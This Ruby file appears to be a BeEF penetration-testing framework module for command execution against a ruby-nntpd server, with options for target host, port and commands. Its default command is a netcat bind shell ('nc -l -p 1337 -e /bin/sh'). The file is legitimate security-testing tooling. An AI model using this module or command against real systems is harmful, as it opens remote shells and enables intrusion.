#
# Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
###
# ruby-nntpd homepage: http://code.google.com/p/ruby-nntpd/
###
class Ruby_nntpd_cmd_exec < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
      { 'name' => 'rport',   'ui_label' => 'Remote Port', 'value' => '1119' },
      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },
      { 'name' => 'cmd',     'ui_label' => 'Commands',    'description' => 'Enter shell commands to execute.', 'type' => 'textarea', 'value' => 'nc -l -p 1337 -e /bin/sh',
        'width' => '200px' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?
    save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?
  end
end
